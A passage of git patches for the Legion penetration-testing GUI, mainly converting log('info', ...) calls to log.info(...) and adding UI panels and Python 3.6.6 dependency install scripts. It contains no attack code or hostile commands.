self.metadata.echo = True self.metadata.bind = self.engine except: - log('info','Could not open database file. Is the file corrupted?') + log.info('Could not open database file. Is the file corrupted?') def commit(self): self.dbsemaphore.acquire() diff --git a/legion.py b/legion.py index d96ff658..7af892da 100644 --- a/legion.py +++ b/legion.py @@ -16,14 +16,14 @@ from sqlalchemy.orm.scoping import ScopedSession as scoped_session #import elixir except ImportError as e: - log('info',"Import failed. SQL Alchemy library not found. If on Ubuntu or similar try: apt-get install python3-sqlalchemy*") + log.info("Import failed. SQL Alchemy library not found. If on Ubuntu or similar try: apt-get install python3-sqlalchemy*") exit(1) try: from PyQt5 import QtWidgets, QtGui, QtCore except ImportError as e: - log('info',"Import failed. PyQt4 library not found. If on Ubuntu or similar try: agt-get install python3-pyqt4") - log('info',e) + log.info("Import failed. PyQt4 library not found. If on Ubuntu or similar try: agt-get install python3-pyqt4") + log.info(e) exit(1) try: @@ -33,7 +33,7 @@ #from PySide import QtWebKit pass except ImportError: - log('info',"Import failed. QtWebKit library not found. If on Ubuntu or similar try: agt-get install python3-pyside.qtwebkit") + log.info("Import failed. QtWebKit library not found. If on Ubuntu or similar try: agt-get install python3-pyside.qtwebkit") exit(1) from app.logic import * @@ -98,7 +98,7 @@ def eventFilter(self, receiver, event): try: qss_file = open('./ui/legion.qss').read() except IOError as e: - log('info',"The legion.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") + log.info("The legion.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") exit(0) MainWindow.setStyleSheet(qss_file) diff --git a/parsers/Host.py b/parsers/Host.py index 8190e9a4..631ca434 100644 --- a/parsers/Host.py +++ b/parsers/Host.py @@ -125,26 +125,26 @@ def get_service( self, protocol, port ): host_node = dom.getElementsByTagName('host')[0] h = Host( host_node ) - log('info','host status: ' + h.status) - log('info','host ip: ' + h.ip) + log.info('host status: ' + h.status) + log.info('host ip: ' + h.ip) for port in h.get_ports( 'tcp', 'open' ): - log('info',port + " is open") + log.info(port + " is open") - log('info',"script output:") + log.info("script output:") for scr in h.get_scripts(): - log('info',"script id:" + scr.scriptId) - log('info',"Output:") - log('info',scr.output) + log.info("script id:" + scr.scriptId) + log.info("Output:") + log.info(scr.output) - log('info',"service of tcp port 80:") + log.info("service of tcp port 80:") s = h.get_service( 'tcp', '80' ) if s == None: - log('info',"\tno service") + log.info("\tno service") else: - log('info',"\t" + s.name) - log('info',"\t" + s.product) - log('info',"\t" + s.version) - log('info',"\t" + s.extrainfo) - log('info',"\t" + s.fingerprint) + log.info("\t" + s.name) + log.info("\t" + s.product) + log.info("\t" + s.version) + log.info("\t" + s.extrainfo) + log.info("\t" + s.fingerprint) diff --git a/parsers/OS.py b/parsers/OS.py index 825b3bf4..602deb14 100644 --- a/parsers/OS.py +++ b/parsers/OS.py @@ -34,17 +34,17 @@ def __init__(self, OSNode): os = OS(osclass) - log('info',os.name) - log('info',os.family) - log('info',os.generation) - log('info',os.os_type) - log('info',os.vendor) - log('info',str(os.accuracy)) + log.info(os.name) + log.info(os.family) + log.info(os.generation) + log.info(os.os_type) + log.info(os.vendor) + log.info(str(os.accuracy)) os = OS(osmatch) - log('info',os.name) - log('info',os.family) - log('info',os.generation) - log('info',os.os_type) - log('info',os.vendor) - log('info',str(os.accuracy)) + log.info(os.name) + log.info(os.family) + log.info(os.generation) + log.info(os.os_type) + log.info(os.vendor) + log.info(str(os.accuracy)) diff --git a/parsers/Parser.py b/parsers/Parser.py index d4502a05..e6aaf4d0 100644 --- a/parsers/Parser.py +++ b/parsers/Parser.py @@ -28,7 +28,7 @@ def __init__( self, xml_input ): __host = Host.Host(host_node) self.__hosts[__host.ip] = __host except Exception as ex: - log('info',"Parser error! Invalid nmap file!") + log.info("Parser error! Invalid nmap file!") #logging.error(ex) raise @@ -104,45 +104,45 @@ def all_ips( self, status = '' ): parser = Parser( 'a-full.xml' ) - log('info','\nscan session:') + log.info('\nscan session:') session = parser.get_session() - log('info',"\tstart time:\t" + session.start_time) - log('info',"\tstop time:\t" + session.finish_time) - log('info',"\tnmap version:\t" + session.nmap_version) - log('info',"\tnmap args:\t" + session.scan_args) - log('info',"\ttotal hosts:\t" + session.total_hosts) - log('info',"\tup hosts:\t" + session.up_hosts) - log('info',"\tdown hosts:\t" + session.down_hosts) + log.info("\tstart time:\t" + session.start_time) + log.info("\tstop time:\t" + session.finish_time) + log.info("\tnmap version:\t" + session.nmap_version) + log.info("\tnmap args:\t" + session.scan_args) + log.info("\ttotal hosts:\t" + session.total_hosts) + log.info("\tup hosts:\t" + session.up_hosts) + log.info("\tdown hosts:\t" + session.down_hosts) for h in parser.all_hosts(): - log('info','host ' +h.ip + ' is ' + h.status) + log.info('host ' +h.ip + ' is ' + h.status) for port in h.get_ports( 'tcp', 'open' ): - log('info',"\t---------------------------------------------------") - log('info',"\tservice of tcp port " + port + ":") + log.info("\t---------------------------------------------------") + log.info("\tservice of tcp port " + port + ":") s = h.get_service( 'tcp', port ) if s == None: - log('info',"\t\tno service") + log.info("\t\tno service") else: - log('info',"\t\t" + s.name) - log('info',"\t\t" + s.product) - log('info',"\t\t" + s.version) - log('info',"\t\t" + s.extrainfo) - log('info',"\t\t" + s.fingerprint) + log.info("\t\t" + s.name) + log.info("\t\t" + s.product) + log.info("\t\t" + s.version) + log.info("\t\t" + s.extrainfo) + log.info("\t\t" + s.fingerprint) - log('info',"\tscript output:") + log.info("\tscript output:") sc = port.get_scripts() if sc == None: - log('info',"\t\tno scripts") + log.info("\t\tno scripts") else: for scr in sc: - log('info',"Script ID: " + scr.scriptId) - log('info',"Output: ") - log('info',scr.output) + log.info("Script ID: " + scr.scriptId) + log.info("Output: ") + log.info(scr.output) - log('info',"\t---------------------------------------------------") + log.info("\t---------------------------------------------------") diff --git a/parsers/Script.py b/parsers/Script.py index c75b2acd..be61ec78 100644 --- a/parsers/Script.py +++ b/parsers/Script.py @@ -23,5 +23,5 @@ def __init__(self, ScriptNode): for scriptNode in dom.getElementsByTagName('script'): script = Script(scriptNode) - log('info',script.scriptId) - log('info',script.output) + log.info(script.scriptId) + log.info(script.output) diff --git a/parsers/Service.py b/parsers/Service.py index c155d54c..91ce989d 100644 --- a/parsers/Service.py +++ b/parsers/Service.py @@ -33,8 +33,8 @@ def __init__( self, ServiceNode ): node = dom.getElementsByTagName('service')[0] s = Service( node ) - log('info',s.name) - log('info',s.product) - log('info',s.version) - log('info',s.extrainfo) - log('info',s.fingerprint) + log.info(s.name) + log.info(s.product) + log.info(s.version) + log.info(s.extrainfo) + log.info(s.fingerprint) diff --git a/parsers/Session.py b/parsers/Session.py index 6212c366..daf8a06f 100644 --- a/parsers/Session.py +++ b/parsers/Session.py @@ -25,10 +25,10 @@ def __init__( self, SessionHT ): s = Session( MySession ) - log('info','start_time:' + s.start_time) - log('info','finish_time:' + s.finish_time) - log('info','nmap_version:' + s.nmap_version) - log('info','nmap_args:' + s.scan_args) - log('info','total hosts:' + s.total_hosts) - log('info','up hosts:' + s.up_hosts) - log('info','down hosts:' + s.down_hosts) + log.info('start_time:' + s.start_time) + log.info('finish_time:' + s.finish_time) + log.info('nmap_version:' + s.nmap_version) + log.info('nmap_args:' + s.scan_args) + log.info('total hosts:' + s.total_hosts) + log.info('up hosts:' + s.up_hosts) + log.info('down hosts:' + s.down_hosts) diff --git a/plugins/azureCveQuery/azureCveQuery.py b/plugins/azureCveQuery/azureCveQuery.py index 9efb3722..88da06d3 100644 --- a/plugins/azureCveQuery/azureCveQuery.py +++ b/plugins/azureCveQuery/azureCveQuery.py @@ -72,7 +72,7 @@ async def wrap(*args, **kw): result = await f(*args, **kw) te = time() tr = te-ts - log('debug','Function:%r args:[%r, %r] took: %2.4f sec' % (f.__name__, args, kw, tr)) + log.debug('Function:%r args:[%r, %r] took: %2.4f sec' % (f.__name__, args, kw, tr)) try: testGet = metrics[f.__name__] except: @@ -94,7 +94,7 @@ async def wrap(*args, **kw): @timing async def heartbeat(pub): timeNow = str(datetime.now()) - log('info','Tick tock! The time is: {timeNow}'.format(timeNow=timeNow)) + log.info('Tick tock! The time is: {timeNow}'.format(timeNow=timeNow)) await publishToRedis(pub, 'heartbeats', {'azureMlsRestService':timeNow}) # Enque aquisition of PagerDuty Incidents and publiush them @@ -106,7 +106,7 @@ async def checkPagerDutyIncidents(pub): if 'incidents' in data: incidentDictionaries = DictToObject(data['incidents']) for incidentDictionary in incidentDictionaries.outputStructure: - log('info',"Incident: {id}".format(id=str(incidentDictionary.id))) + log.info("Incident: {id}".format(id=str(incidentDictionary.id))) fields = {} fields['id'] = incidentDictionary.id fields['description'] = incidentDictionary.description @@ -131,7 +131,7 @@ async def postNoteToPagerDutyNote(incId, Note): async def redisMessageReceived(channelObj, pub): while (await channelObj.wait_message()): channelName = channelObj.name.decode() - log('info',"Message recieved on {channelName}".format(channelName=channelName)) + log.info("Message recieved on {channelName}".format(channelName=channelName)) if channelName == 'outgoing-incidents': messageJson = await channelObj.get_json() try: @@ -140,14 +140,14 @@ async def redisMessageReceived(channelObj, pub): messageDict = messageJson incId = messageDict['inc_id'] incMessage = messageDict['catagorical_noise'] - log('info',"INC {0} recieved on outgoing-incidents.".format(incId)) + log.info("INC {0} recieved on outgoing-incidents.".format(incId)) ## postBackToPagerDuty(incId, incMessage) await deleteFromRedis(pub, messageJson) # Execute post to create note on PagerDuty Incident @timing async def postToPagerDuty(url: str, headers: dict, data: dict, session): - log('debug','Post {url}'.format(url=url)) + log.debug('Post {url}'.format(url=url)) data = quote(str(data)) async with session.request('POST', url, headers=headers, data=data) as resp: data = await resp.json() @@ -156,7 +156,7 @@ async def postToPagerDuty(url: str, headers: dict, data: dict, session): # Execute aquisition of PagerDuty Incidents @timing async def fetchFromPagerDuty(url: str, headers: dict, params: dict, session) -> dict: - log('debug','Query {url}'.format(url=url)) + log.debug('Query {url}'.format(url=url)) params = quote(str(params)) async with session.request('GET', url, headers=headers, params=params) as resp: data = await resp.json() @@ -177,10 +177,10 @@ async def publishToRedis(pub, channel: str, message): try: cache = await setOrUpdateRedisCache(pub, message) if not cache: - log('info',"Published to {channel}.".format(channel=channel)) + log.info("Published to {channel}.".format(channel=channel)) await pub.publish_json(channel, message) else: - log('info',"Already exists, Not published to {channel}.".format(channel=channel)) + log.info("Already exists, Not published to {channel}.".format(channel=channel)) except: raise "Publish failure to {channel}.".format(channel=channel) diff --git a/scripts/snmpbrute.py b/scripts/snmpbrute.py index ff8f3b53..97a68a45 100644 --- a/scripts/snmpbrute.py +++ b/scripts/snmpbrute.py @@ -410,7 +410,7 @@ def enumerateSNMPWalk(result,options): print '\tDestination\t\tNext Hop\tMask\t\t\tMetric\tInterface\tType\tProtocol\tAge' print '\t-----------\t\t--------\t----\t\t\t------\t---------\t----\t--------\t---' for j in range(lines): - log('info', '\t'+entry['Destination'][j].strip().ljust(12,' ') + + log.info( '\t'+entry['Destination'][j].strip().ljust(12,' ') + '\t\t'+entry['Next Hop'][j].strip().ljust(12,' ') + '\t'+entry['Mask'][j].strip().ljust(12,' ') + '\t\t'+entry['Metric'][j].strip().center(6,' ') + @@ -440,7 +440,7 @@ def enumerateSNMPWalk(result,options): print '\tIP\t\tMAC\t\t\tV' print '\t--\t\t---\t\t\t--' for j in range(lines): - log('info', '\t'+entry['IP'][j].strip().ljust(12,' ') + + log.info( '\t'+entry['IP'][j].strip().ljust(12,' ') + '\t'+entry['MAC'][j].strip().ljust(18,' ') + '\t'+entry['V'][j].strip().ljust(2,' ') ) diff --git a/ui/gui.py b/ui/gui.py index d65c1622..a1102355 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -260,7 +260,7 @@ def setupBottomPanel(self): self.LogOutputTextView.widget.setReadOnly(True) self.LogTabLayout.addWidget(self.LogOutputTextView.widget) self.BottomTabWidget.addTab(self.LogTab, _fromUtf8("")) - logObj.addHandler(self.LogOutputTextView) + log.addHandler(self.LogOutputTextView) # Python Tab self.PythonTab = QtWidgets.QWidget() diff --git a/ui/settingsdialogs.py b/ui/settingsdialogs.py index 9b46e82c..8a7e937e 100644 --- a/ui/settingsdialogs.py +++ b/ui/settingsdialogs.py @@ -321,13 +321,13 @@ def switchTabClick(self): # LEO: this if self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex()) == 'Tools': self.previousToolTab = self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) - log('info','previous tab is: ' + str(self.previousTab)) + log.info('previous tab is: ' + str(self.previousTab)) if self.validateCurrentTab(self.previousTab): # LEO: we don't care about the return value in this case. it's just for debug. - log('info','validation succeeded! switching tab! yay!') + log.info('validation succeeded! switching tab! yay!') # save the previous tab for the next time we switch tabs. TODO: not sure this should be inside the IF but makes sense to me. no point in saving the previous if there is no change.. self.previousTab = self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex()) else: - log('info','nope! cannot let you switch tab! you fucked up!') + log.info('nope! cannot let you switch tab! you fucked up!') def switchToolTabClick(self): # TODO: check for duplicate code. if self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) == 'Host Commands': @@ -501,18 +501,18 @@ def validateCurrentTab(self, tab): # LEO: your validationPassed = False else: - log('info','>>>> we should never be here. potential bug. 1') # LEO: added this just to help when testing. we'll remove it later. + log.info('>>>> we should never be here. potential bug. 1') # LEO: added this just to help when testing. we'll remove it later. elif tab == 'Wordlists': - log('info','Coming back from wordlists.') + log.info('Coming back from wordlists.') elif tab == 'Automated Attacks': - log('info','Coming back from automated attacks.') + log.info('Coming back from automated attacks.') else: - log('info','>>>> we should never be here. potential bug. 2') # LEO: added this just to help when testing. we'll remove it later. + log.info('>>>> we should never be here. potential bug. 2') # LEO: added this just to help when testing. we'll remove it later. - log('info','DEBUG: current tab is valid: ' + str(validationPassed)) + log.info('DEBUG: current tab is valid: ' + str(validationPassed)) return validationPassed #def generalTabValidate(self): @@ -609,15 +609,15 @@ def validateToolName(self): # called whe tmplineEdit.setStyleSheet("border: 1px solid red;") tmpWidget.setSelectionMode(QtWidgets.QAbstractItemView.NoSelection) self.validationPassed = False - log('info','the validation is: ' + str(self.validationPassed)) + log.info('the validation is: ' + str(self.validationPassed)) return self.validationPassed else: tmplineEdit.setStyleSheet("border: 1px solid grey;") tmpWidget.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection) self.validationPassed = True - log('info','the validation is: ' + str(self.validationPassed)) + log.info('the validation is: ' + str(self.validationPassed)) if tmpWidget.item(row,0).text() != str(actions[row][1]): - log('info','difference found') + log.info('difference found') actions[row][1] = tmpWidget.item(row,0).text() return self.validationPassed @@ -747,10 +747,10 @@ def updateToolForServiceInformation(self, update = True): if self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): # the first time do not update anything if self.portTableRow == -1 or update == False: - log('info','no update') + log.info('no update') pass else: - log('info','update done') + log.info('update done') self.updatePortActions() # self.portLabelText.setStyleSheet("border: 1px solid grey;") # self.portCommandText.setStyleSheet("border: 1px solid grey;") diff --git a/ui/view.py b/ui/view.py index 5997e0b7..1bf6e863 100644 --- a/ui/view.py +++ b/ui/view.py @@ -18,13 +18,13 @@ from PyQt5 import QtCore from PyQt5 import QtWidgets, QtGui, QtCore except ImportError: - log('info',"Import failed. PyQt4 library not found. \nTry installing it with: apt install python-qt4") + log.info("Import failed. PyQt4 library not found. \nTry installing it with: apt install python-qt4") #try: # from PySide import QtWebKit # usePySide = True #except ImportErro as e: -# log('info',"Import failed. QtWebKit library not found. \nTry installing it with: apt install python-pyside.qtwebkit") +# log.info("Import failed. QtWebKit library not found. \nTry installing it with: apt install python-pyside.qtwebkit") # exit(1) from ui.gui import * @@ -274,7 +274,7 @@ def connectCreateNewProject(self): def createNewProject(self): if self.dealWithCurrentProject(): - log('info','Creating new project..') + log.info('Creating new project..') self.controller.createNewProject() ### @@ -288,7 +288,7 @@ def openExistingProject(self): if not filename == '': # check for permissions if not os.access(filename, os.R_OK) or not os.access(filename, os.W_OK): - log('info','Insufficient permissions to open this file.') + log.info('Insufficient permissions to open this file.') reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this file.","Ok") return @@ -297,7 +297,7 @@ def openExistingProject(self): self.displayAddHostsOverlay(False) # do not show the overlay because the hosttableview is already populated else: - log('info','No file chosen..') + log.info('No file chosen..') ### @@ -309,12 +309,12 @@ def saveProject(self): if self.firstSave: self.saveProjectAs() else: - log('info','Saving project..') + log.info('Saving project..') self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) self.setDirty(False) self.ui.statusbar.showMessage('Saved!', msecs=1000) - log('info','Saved!') + log.info('Saved!') ### @@ -323,7 +323,7 @@ def connectSaveProjectAs(self): def saveProjectAs(self): self.ui.statusbar.showMessage('Saving..') - log('info','Saving project..') + log.info('Saving project..') self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) @@ -332,7 +332,7 @@ def saveProjectAs(self): while not filename =='': if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access(ntpath.dirname(str(filename)), os.W_OK): - log('info','Insufficient permissions on this folder.') + log.info('Insufficient permissions on this folder.') reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this folder.","Ok") else: @@ -355,9 +355,9 @@ def saveProjectAs(self): self.firstSave = False self.ui.statusbar.showMessage('Saved!', msecs=1000) self.controller.updateOutputFolder() - log('info','Saved!') + log.info('Saved!') else: - log('info','No file chosen..') + log.info('No file chosen..') ### @@ -416,7 +416,7 @@ def importNmap(self): if not filename == '': if not os.access(filename, os.R_OK): # check for read permissions on the xml file - log('info','Insufficient permissions to read this file.') + log.info('Insufficient permissions to read this file.') reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions to read this file.","Ok") return @@ -427,7 +427,7 @@ def importNmap(self): self.importProgressWidget.show() else: - log('info','No file chosen..') + log.info('No file chosen..') ### @@ -444,7 +444,7 @@ def applySettings(self): self.settingsWidget.hide() def cancelSettings(self): - log('info','DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. + log.info('DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. self.settingsWidget.hide() self.controller.cancelSettings() @@ -460,7 +460,7 @@ def connectAppExit(self): def appExit(self): if self.dealWithCurrentProject(True): # the parameter indicates that we are exiting the application self.closeProject() - log('info','Exiting application..') + log.info('Exiting application..') sys.exit(0) ### TABLE ACTIONS ### @@ -1385,7 +1385,7 @@ def callHydra(self, bWidget): if reply == QtWidgets.QMessageBox.No: return else: - log('info','Adding host to scope here!!') + log.info('Adding host to scope here!!') self.controller.addHosts(str(bWidget.ipTextinput.text()), False, False) bWidget.validationLabel.hide() diff --git a/utilities/qtLogging.py b/utilities/qtLogging.py index 7a14cb4a..e707d222 100644 --- a/utilities/qtLogging.py +++ b/utilities/qtLogging.py @@ -19,3 +19,6 @@ def __init__(self, parent): def emit(self, record): msg = self.format(record) self.widget.appendPlainText(msg) + + def append(self, msg): + self.widget.appendPlainText(msg) From eac32f125d89c1ea174802babd4c36e1e4518a56 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 16 Oct 2018 03:19:00 -0500 Subject: [PATCH 044/450] Bug fixes, Version bump --- CHANGELOG.txt | 10 ++++++++++ app/hostmodels.py | 1 + controller/controller.py | 2 +- ui/dialogs.py | 4 ++-- ui/gui.py | 28 ++++++++++++++++++++-------- 5 files changed, 34 insertions(+), 11 deletions(-) diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 7be1b54a..b6174abf 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -20,3 +20,13 @@ LEGION 0.2.1 * Fixed process lanuches for discovered services * Fixed context menus so they show applicable actions for context * Fixed note unique keys + +LEGION 0.2.2 + +* Bug fixes for edge cases +* In UI Logging panel +* Thread safe logging +* Add AzureCveQuery Plugin +* Setup to use AsyncIO +* Dep installer fixes +* Addition of .justcloned to re-initalize on cloning / pull to update diff --git a/app/hostmodels.py b/app/hostmodels.py index 1cb020a3..616a1d12 100644 --- a/app/hostmodels.py +++ b/app/hostmodels.py @@ -13,6 +13,7 @@ import re from PyQt5 import QtWidgets, QtGui, QtCore +from PyQt5.QtGui import QFont from PyQt5.QtCore import pyqtSignal, QObject from app.auxiliary import * # for bubble sort diff --git a/controller/controller.py b/controller/controller.py index 46b73c45..6d897e9e 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -26,7 +26,7 @@ class Controller(): # initialisations that will happen once - when the program is launched @timing def __init__(self, view, logic): - self.version = 'LEGION 0.2.1' # update this everytime you commit! + self.version = 'LEGION 0.2.2' # update this everytime you commit! self.logic = logic self.view = view self.view.setController(self) diff --git a/ui/dialogs.py b/ui/dialogs.py index 06a9559b..f8e8f960 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -140,7 +140,7 @@ def setupLayout(self): self.label2 = QtWidgets.QLabel(self) self.label2.setText('eg: 192.168.1.0/24 10.10.10.10-20 1.2.3.4 ') - self.font = QtGui.QFont('Arial', 10) + self.font = QtGui.QFont('Calibri', 10) self.label2.setFont(self.font) self.label2.setAlignment(Qt.AlignRight) self.spacer = QSpacerItem(15,15) @@ -756,7 +756,7 @@ def setupLayout(self): self.OSAccuracyLayout.addWidget(self.OSAccuracyText) self.OSAccuracyLayout.addStretch() - font = QtGui.QFont() # in each different section + font = QtGui.QFont('Calibri', 12) # in each different section font.setBold(True) self.HostStatusLabel.setText('Host Status') self.HostStatusLabel.setFont(font) diff --git a/ui/gui.py b/ui/gui.py index a1102355..363e184d 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -34,6 +34,9 @@ def setupUi(self, MainWindow): self.splitter_2 = QtWidgets.QSplitter(self.centralwidget) self.splitter_2.setOrientation(QtCore.Qt.Vertical) self.splitter_2.setObjectName(_fromUtf8("splitter_2")) + self.splitter_5 = QtWidgets.QSplitter(self.splitter_2) + self.splitter_5.setOrientation(QtCore.Qt.Vertical) + self.splitter_5.setObjectName(_fromUtf8("splitter_5")) self.MainTabWidget = QtWidgets.QTabWidget(self.splitter_2) self.MainTabWidget.setObjectName(_fromUtf8("MainTabWidget")) @@ -58,8 +61,11 @@ def setupUi(self, MainWindow): self.setupRightPanel() self.setupMainTabs() self.setupBottomPanel() + self.setupBottom2Panel() self.gridLayout.addWidget(self.splitter_2, 0, 0, 1, 1) + self.gridLayout.addWidget(self.splitter_5, 1, 0, 1, 1) + MainWindow.setCentralWidget(self.centralwidget) self.setupMenuBar(MainWindow) @@ -99,7 +105,7 @@ def setupLeftPanel(self): self.addHostsOverlay.setContextMenuPolicy(QtCore.Qt.NoContextMenu) ### - self.addHostsOverlay.setFont(QtGui.QFont('', 12)) + self.addHostsOverlay.setFont(QtGui.QFont('Calibri', 12)) self.addHostsOverlay.setAlignment(Qt.AlignHCenter|Qt.AlignVCenter) ### @@ -250,6 +256,12 @@ def setupBottomPanel(self): self.horizontalLayout_5.addWidget(self.ProcessesTableView) self.BottomTabWidget.addTab(self.ProcessTab, _fromUtf8("")) + def setupBottom2Panel(self): + self.Bottom2TabWidget = QtWidgets.QTabWidget(self.splitter_5) + self.Bottom2TabWidget.setSizeIncrement(QtCore.QSize(0, 0)) + self.Bottom2TabWidget.setBaseSize(QtCore.QSize(0, 0)) + self.Bottom2TabWidget.setObjectName(_fromUtf8("Bottom2TabWidget")) + # Log Tab self.LogTab = QtWidgets.QWidget() self.LogTab.setObjectName(_fromUtf8("LogTab")) @@ -259,17 +271,17 @@ def setupBottomPanel(self): self.LogOutputTextView.widget.setObjectName(_fromUtf8("LogOutputTextView")) self.LogOutputTextView.widget.setReadOnly(True) self.LogTabLayout.addWidget(self.LogOutputTextView.widget) - self.BottomTabWidget.addTab(self.LogTab, _fromUtf8("")) + self.Bottom2TabWidget.addTab(self.LogTab, _fromUtf8("")) log.addHandler(self.LogOutputTextView) # Python Tab self.PythonTab = QtWidgets.QWidget() self.PythonTab.setObjectName(_fromUtf8("PythonTab")) - #self.PythonOutputTextView = QtWidgets.QPlainTextEdit(self.PythonTab) - #self.PythonOutputTextView.setReadOnly(False) + self.PythonOutputTextView = QtWidgets.QPlainTextEdit(self.PythonTab) + self.PythonOutputTextView.setReadOnly(False) self.PythonTabLayout = QtWidgets.QHBoxLayout(self.PythonTab) - #self.PythonTabLayout.addWidget(self.PythonOutputTextView) - self.BottomTabWidget.addTab(self.PythonTab, _fromUtf8("")) + self.PythonTabLayout.addWidget(self.PythonOutputTextView) + self.Bottom2TabWidget.addTab(self.PythonTab, _fromUtf8("")) def setupMenuBar(self, MainWindow): self.menubar = QtWidgets.QMenuBar(MainWindow) @@ -339,8 +351,8 @@ def retranslateUi(self, MainWindow): self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.ScanTab), QtWidgets.QApplication.translate("MainWindow", "Scan", None)) self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.BruteTab), QtWidgets.QApplication.translate("MainWindow", "Brute", None)) self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.ProcessTab), QtWidgets.QApplication.translate("MainWindow", "Processes", None)) - self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.LogTab), QtWidgets.QApplication.translate("MainWindow", "Log", None)) - self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.PythonTab), QtWidgets.QApplication.translate("MainWindow", "Python", None)) + self.Bottom2TabWidget.setTabText(self.Bottom2TabWidget.indexOf(self.LogTab), QtWidgets.QApplication.translate("MainWindow", "Log", None)) + self.Bottom2TabWidget.setTabText(self.Bottom2TabWidget.indexOf(self.PythonTab), QtWidgets.QApplication.translate("MainWindow", "Python", None)) self.menuFile.setTitle(QtWidgets.QApplication.translate("MainWindow", "File", None)) self.menuSettings.setTitle(QtWidgets.QApplication.translate("MainWindow", "Settings", None)) self.menuHelp.setTitle(QtWidgets.QApplication.translate("MainWindow", "Help", None)) From 8f80c5e05fb7f524aac5cded16b10f5ef8833532 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 28 Nov 2018 13:22:28 -0600 Subject: [PATCH 045/450] Update to Python3.6.6 and handle dep issue --- deps/install.sh | 8 ++++++++ deps/installDeps.sh | 5 +++++ deps/installPython36.sh | 9 +++++++++ deps/installPythonLibs.sh | 4 ++++ deps/requirements.txt | 19 +++++++++++++++++++ deps/test | 7 +++++++ deps/ubuntu.sh | 18 +++++++++++++----- plugins/azureCveQuery/azureCveQuery.py | 8 ++++---- startLegion.sh | 2 +- ui/gui.py | 2 +- 10 files changed, 71 insertions(+), 11 deletions(-) create mode 100644 deps/install.sh create mode 100644 deps/installDeps.sh create mode 100644 deps/installPython36.sh create mode 100644 deps/installPythonLibs.sh create mode 100644 deps/requirements.txt create mode 100644 deps/test diff --git a/deps/install.sh b/deps/install.sh new file mode 100644 index 00000000..1d9471d9 --- /dev/null +++ b/deps/install.sh @@ -0,0 +1,8 @@ +#!/bin/bash +cp *.sh /tmp +cd /tmp +chmod a+x *.sh +./installDeps.sh +./installPython36.sh +./installPyQt4.sh +./installPythonLibs.sh diff --git a/deps/installDeps.sh b/deps/installDeps.sh new file mode 100644 index 00000000..363776e5 --- /dev/null +++ b/deps/installDeps.sh @@ -0,0 +1,5 @@ +#!/bin/bash +# Install deps +echo "Updating Apt database..." +sudo apt-get update +sudo apt-get install -y build-essential libreadline-gplv2-dev libncursesw5-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev libffi-dev python3-dev libssl1.0-dev python-netlib libjpeg62-turbo-dev libxml2-dev libxslt1-dev python-dev libnetfilter-queue-dev qt4-qmake libqt4-dev libsqlite3-dev diff --git a/deps/installPython36.sh b/deps/installPython36.sh new file mode 100644 index 00000000..8522a44e --- /dev/null +++ b/deps/installPython36.sh @@ -0,0 +1,9 @@ +#!/bin/bash +cd /tmp + +# Setup Python3.5 +wget https://www.python.org/ftp/python/3.6.6/Python-3.6.6.tgz +tar xzf Python-3.6.6.tgz +cd Python-3.6.6/ +./configure --enable-optimizations --enable-ipv6 --with-ensurepip=install +sudo make altinstall diff --git a/deps/installPythonLibs.sh b/deps/installPythonLibs.sh new file mode 100644 index 00000000..4c96695c --- /dev/null +++ b/deps/installPythonLibs.sh @@ -0,0 +1,4 @@ +#!/bin/bash +# Setup Python deps +sudo pip3.6 install sqlalchemy pyqt5 asyncio aiohttp aioredis aiomonitor apscheduler Quamash +sudo pip3.6 install service_identity --upgrade diff --git a/deps/requirements.txt b/deps/requirements.txt new file mode 100644 index 00000000..3dd70437 --- /dev/null +++ b/deps/requirements.txt @@ -0,0 +1,19 @@ +Twisted +scapy +bs4 +netaddr +config +dnspython +isc_dhcp_leases +netifaces +pcapy +NetfilterQueue +configobj +libarchive-c==2.1 +python-magic==0.4.6 +pefile +capstone +hyperframe +h2 +scapy_http +service_identity diff --git a/deps/test b/deps/test new file mode 100644 index 00000000..3faeca22 --- /dev/null +++ b/deps/test @@ -0,0 +1,7 @@ +test=`python3.6 --version` + +if [[ $test != "Python 3.6.6" ]] +then + echo "Not 3.6.6" +fi + diff --git a/deps/ubuntu.sh b/deps/ubuntu.sh index c40d9af8..05348742 100644 --- a/deps/ubuntu.sh +++ b/deps/ubuntu.sh @@ -1,9 +1,17 @@ #!/bin/bash -echo "Updating Apt database..." -apt-get -qq update -echo "Installing python dependancies..." -apt-get -qq install python3-pyqt5 python3-pyqt4 python3-pyside.qtwebkit python3-sqlalchemy* python3-pip -y +cp *.sh /tmp +cd /tmp +chmod a+x *.sh +./installDeps.sh +test=`python3.6 --version` + +if [[ $test != "Python 3.6.6" ]] +then + echo "Installing python3.6.6..." + ./installPython36.sh +fi +./installPythonLibs.sh echo "Installing external binaryies and application dependancies..." apt-get 